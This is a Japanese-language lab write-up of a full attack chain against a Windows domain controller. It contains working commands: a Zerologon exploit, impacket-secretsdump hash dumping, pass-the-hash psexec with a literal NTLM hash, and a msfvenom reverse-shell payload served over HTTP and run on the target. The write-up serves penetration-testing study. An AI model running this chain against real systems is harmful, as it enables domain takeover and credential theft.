
MetasploitとImpacketを使用したエンドツーエンドのドメインコントローラ悪用: DC10を発見、Zerologon(CVE-2020-1472)を悪用、NTLMハッシュを抽出、SYSTEMシェルを取得、Meterpreterセッションを確立しました。
Metasploit と Impacket を用いたエンドツーエンドのドメインコントローラエクスプロイト:DC10 を発見し、Zerologon (CVE-2020-1472) を悪用し、NTLM ハッシュを抽出し、SYSTEM シェルを取得し、Meterpreter セッションを確立しました。
エグゼクティブサマリ 本演習では、CVE-2020-1472 (Zerologon) に脆弱なドメインコントローラに対する完全な現実的な攻撃チェーンを実演します。エンゲージメントには、発見、サービスのエンリッチメント、エクスプロイト、資格情報の抽出、横方向の移動、およびポストエクスプロイトの検証が含まれます。Zerologon、Impacket secretsdump + パスザハッシュ、msfvenom/meterpreter ペイロードの組み合わせにより、DC 上で SYSTEM レベルのアクセスを取得し、持続的な Meterpreter セッションを確立することに成功しました。各段階でスクリーンショットとコマンドの成果物を証拠としてキャプチャしました。
𝐋𝐚𝐛 𝐨𝐯𝐞𝐫𝐯𝐢𝐞𝐰: 𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐨𝐦𝐚𝐢𝐧 𝐂𝐨𝐧𝐭𝐫𝐨𝐥𝐥𝐞𝐫 に対して 𝐌𝐞𝐭𝐚𝐬𝐩𝐥𝐨𝐢𝐭 と 𝐈𝐦𝐩𝐚𝐜𝐤𝐞𝐭 を用いた完全な攻撃チェーン(発見、Zerologon、secretsdump、パスザハッシュ、制御された Meterpreter セッション)をシミュレートしました。
𝐖𝐡𝐲 𝐢𝐭 𝐦𝐚𝐭𝐭𝐞𝐫𝐬 𝐭𝐨 𝐨𝐫𝐠𝐚𝐧𝐢𝐳𝐚𝐭𝐢𝐨𝐧𝐬: DC はドメイン全体の認証、グループポリシー、および ID を制御するため、その侵害は完全なビジネス中断、アカウント乗っ取り、データ流出、ランサムウェア展開、および規制上の信頼の喪失に連鎖する可能性があります。DC を保護することで、攻撃者が ID を単一障害点に変えるのを防ぎ、稼働時間、収益、評判を守ります。
隔離されたラボネットワーク内に 2 台のマシンが用意されています。1 台は DC10 という名前の Windows ドメインコントローラ (DC) で、コア AD サービスをホストしています。もう 1 台は同じサーバサブネットに配置された Kali ワークステーションで、テストに使用します。DC は一般的なドメインサービス (LDAP、Kerberos、SMB など) を公開しており、既知の問題に対して脆弱である可能性があります。Kali ホストは、偵察、エクスプロイト、資格情報アクセス、横方向の移動、ポストエクスプロイトの検証に使用することが期待されます。タスクは、DC を特定し、ドメインの詳細を確認し、該当する手法を用いて初期足がかりを獲得し、管理アクセスを可能にする資格情報を抽出し、リモートシェルおよび管理エージェントセッションを通じて DC の制御を実証することです。その際、パッチ適用済みサービス、制限されたエグレス、エンドポイント防御などの環境的制約に適応します。 DC: 10.1.16.1 Kali: 10.1.16.66
msfconsole を DB サポート付きで使用し、MSF 内から nmap スイープを実行し、結果をインポートし、ホストとサービスを整理して DC10 の露出を確認しました。
MSF で SYN ポートスキャンを実行し、SMB をフィンガープリントし、10.1.16.1 上の LDAP および Kerberos を確認しました。LDAP にクエリを実行してドメイン名を取得しました。
### SMB バージョンチェック
auxiliary/scanner/smb/smb_version を使用しました。
auxiliary/gather/ldap_query を使用しました。
auxiliary/admin/dcerpc/cve_2020_1472_zerologon を DC10 に対して実行し、マシンアカウントのパスワードを空にリセットしました。
Impacket を使用して DC から NTLM ハッシュをダンプし、パスザハッシュのための管理者資格情報を特定しました。
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
パスザハッシュと psexec を使用して DC10 上で SYSTEM レベルのシェルを取得し、ホストの同一性を検証しました。
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
ご覧のとおり、既に C:\Windows\system32 にいます。
reverse_tcp meterpreter ペイロードを生成し、HTTP でホストし、DC10 にダウンロードし、ハンドラを起動し、ペイロードを実行して Meterpreter セッションを開始しました。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
ターゲットシステムがこの meterpreter 実行ファイルに簡単にアクセスできるように、基本的な Web サーバーを起動しました:
python3 -m http.server 8080
ターゲットマシン上で meterpreter 実行ファイル (secret.exe) を実行しました。
ご覧のとおり、ターゲット DC10 と Kali システム間のリバースシェル接続を確立しました。これは、脆弱なターゲットに対して外部/リモートエクスプロイトのみを使用して達成されました。
Kali システムは DC10 ターゲットと同じサーバサブネットに配置されていますが、これらのタイプの攻撃は、ターゲットシステムがオープンインターネットに露出している場合、インターネット経由でも可能です。